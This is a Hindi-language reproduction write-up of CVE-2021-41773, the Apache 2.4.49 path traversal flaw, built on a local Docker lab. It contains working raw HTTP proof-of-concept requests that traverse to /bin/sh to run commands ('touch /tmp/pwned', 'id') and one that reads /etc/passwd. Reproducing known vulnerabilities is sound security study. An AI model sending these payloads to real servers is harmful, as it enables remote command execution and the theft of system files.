
CVE-2021-41773 का पुनरुत्पादन
https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
v2.4.49 Apache विशेष कमजोरी, पहले के संस्करणों में ap_normalize_path फ़ंक्शन नहीं था, यह फ़ंक्शन v2.4.49 संस्करण में पेश किया गया था, इसी फ़ंक्शन के कारण डायरेक्टरी ट्रैवर्सल हुआ, इसे v2.4.50 में ठीक किया गया
https://github.com/1nhann/CVE-2021-41773
इस पर्यावरण में, cgi मॉड्यूल लोड किया गया है:
LoadModule cgi_module modules/mod_cgi.so
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve
कंटेनर के अंदर: image-20211006213843476
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006210008166
रूट निर्देशिका के /bash.cgi को निष्पादित किया
Apache के cgi दस्तावेज़ देखें:
STDIN और STDOUT
सर्वर और क्लाइंट के बीच अन्य संचार मानक इनपुट (
STDIN) और मानक आउटपुट (STDOUT) के माध्यम से होता है। सामान्य दैनिक संदर्भ में,STDINका अर्थ है कीबोर्ड, या एक फ़ाइल जिसे प्रोग्राम को कार्य करने के लिए दिया जाता है, औरSTDOUTका अर्थ आमतौर पर कंसोल या स्क्रीन होता है।जब आप किसी CGI प्रोग्राम में एक वेब फ़ॉर्म
POSTकरते हैं, तो उस फ़ॉर्म का डेटा एक विशेष प्रारूप में बंडल किया जाता है औरSTDINके माध्यम से आपके CGI प्रोग्राम तक पहुँचाया जाता है। फिर प्रोग्राम उस डेटा को इस प्रकार संसाधित कर सकता है जैसे कि वह कीबोर्ड या किसी फ़ाइल से आ रहा हो।"विशेष प्रारूप" बहुत सरल है। एक फ़ील्ड नाम और उसका मान एक समान (=) चिह्न से जोड़ा जाता है, और मानों के जोड़े एक एम्परसेंड (&) से जोड़े जाते हैं। असुविधाजनक वर्ण जैसे स्थान, एम्परसेंड और समान चिह्न, उनके हेक्स समकक्ष में बदल दिए जाते हैं ताकि वे काम में बाधा न डालें। पूरी डेटा स्ट्रिंग कुछ इस प्रकार दिख सकती है:
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey
अर्थात, POST के माध्यम से भेजे गए पैरामीटर, stdin की सामग्री के रूप में, एक्सेस किए गए CGI प्रोग्राम को दिए जाएंगे
यदि /bin/sh तक पहुँचा जाता है, तो सीधे getshell हो सकता है
poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
data=;touch /tmp/pwned
image-20211006213421718
कमांड निष्पादन परिणाम को सीधे प्रदर्शित भी कर सकता है:
poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
echo Content-Type: text/plain; echo; id
यदि cgi मॉड्यूल लोड नहीं किया गया है, तो एक्सेस की गई फ़ाइल चलाई नहीं जाएगी:
#LoadModule cgi_module modules/mod_cgi.so
poc:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006232521116